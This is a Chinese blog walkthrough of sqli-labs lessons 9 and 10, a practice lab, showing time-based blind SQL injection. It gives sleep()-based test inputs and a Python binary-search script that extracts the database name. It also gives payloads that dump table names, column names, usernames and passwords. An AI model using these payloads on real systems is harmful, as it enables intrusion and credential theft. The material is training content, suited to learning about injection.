当前位置: 首页 > news >正文

sqli-labs注入漏洞解析--less-9/10

第九关:

这一关相比第八关,第八关他正确显示you are in,错误不显示you are in,但是第九关你不管是输入正确或者错误都显示 you are in ,这个时候布尔盲注就不适合我们用,所以我们的换一下思路,布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以考虑使用时间盲注。

判断注入点

             基于时间的注入(延时注入)

             1. Time-based blind SQL injection
                2.利用前提:页面没有显示位,也没有输入SQL语句执行错误信息,正确的SQL语句和错误的返回页面都一样,但
                是加入sleep(5)条件后,正确的SQL语句页面返回速度明显慢了5秒,错误的SQL语句立即返回。
                3.优点:不需要显示位,不需要报错信息。
                4.缺点:速度慢,耗费大量时间
                5.用法:IF(Condition,A,B)函数
                当Condition为TRUE时,返回A;否则返回B。     
                6.示例:    SELECT * FROM users WHERE id=1 AND IF(ASCII(SUBSTR(USER(),1,1))>65 ,SLEEP(5),1);     
 

?id=1' and sleep(3) --+          有明显延迟
?id=1" and sleep(3) --+          无延迟
?id=1') and sleep(3) --+         无延迟

说明这里的闭合是单引号。   位数暂时不判断了,用脚本的话不需要位数

当请求错误时,延迟时间在3S以后

当请求正确时,延迟时间很短,在3S以内

基于这个我们就可以写脚本来帮助我们注入

import time
import requests
url = "http://127.0.0.1/sqli-labs-php7-master/Less-9/index.php"
#二分法
def inject_database(url):name=""for i in range(1,20):low =32high = 128mid = (low + high) // 2while low < high:payload = "1' and if(ascii(substr(database(),%d,1)) > %d,sleep(1),0)-- " % (i, mid)params = {"id": payload}start_time = time.time()r = requests.get(url,params=params)end_time = time.time()if end_time - start_time >= 1:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname += chr(mid)print(name)inject_database(url)

有点慢,但是也是成功拿下数据

下边的操作和之前的一样

爆表

payload = "1' and if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='security'),%d,1)) > %d,sleep(1),0)-- " % (i, mid) 

爆字段

payload = "1' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),%d,1)) > %d,sleep(1),0)-- " % (i, mid)

username,password

payload = "1' and if(ascii(substr((select group_concat(username) from information_schema.columns where table_schema='security'and table_name='users'),%d,1)) > %d,sleep(1),0)-- " % (i, mid)

            payload = "1' and if(ascii(substr((select group_concat(password) from information_schema.columns where table_schema='security'and table_name='users'),%d,1)) > %d,sleep(1),0)-- " % (i, mid)

拿下

第十关:

和第九关不一样的就是这里是双引号

还是时间盲注,稍微修改,直接使用

 

成功拿到数据库 ,后边的操作都是如法炮制!!!

http://www.lryc.cn/news/415754.html

相关文章:

  • 文心智能体平台:食尚小助,提供美食推荐和烹饪指导
  • 工作中,如何有效解决“冲突”?不回避,不退让才是最佳方式
  • Qt读写配置(ini)文件
  • Python笔试面试题AI答之面向对象(2)
  • Python学习计划——12.1选择一个小项目并完成
  • uniapp 多渠道打包实现方案
  • 请你学习:前端布局3 - 浮动 float
  • PyCharm 2024.1 总结和最新变化
  • RGB红绿灯——Arduino
  • 浅谈用二分和三分法解决问题(c++)
  • Cocos Creator2D游戏开发(9)-飞机大战(7)-爆炸效果
  • 终于有人把华为认证全部说清楚了
  • 【知识】pytorch中的pinned memory和pageable memory
  • 【系统架构设计】数据库系统(五)
  • 如何对人工智能系统进行测试|要点,方法及流程
  • CVE-2023-37569~文件上传【春秋云境靶场渗透】
  • MySQL简介 数据库管理与表管理
  • PHP 函数性能优化的技巧是什么?
  • 小程序支付(前端)
  • 开发一个自己的VSCode插件
  • Milvus 向量数据库进阶系列丨构建 RAG 多租户/多用户系统 (上)
  • 前缀和(更新中)
  • 记录一次单例模式乱用带来的危害。
  • 外卖项目day14(day11)---数据统计
  • 养猫科普!牙口不好的猫咪怎么选粮?好吃易消化主食罐推荐
  • 力扣刷题之3143.正方形中的最多点数
  • 【更新2022】省级经济高质量发展指标体系测度 含代码 2000-2022
  • 缓冲流练习
  • 自己履行很多的话语,依旧按照这个方式进行生活
  • 交通预测数据文件梳理:METR-LA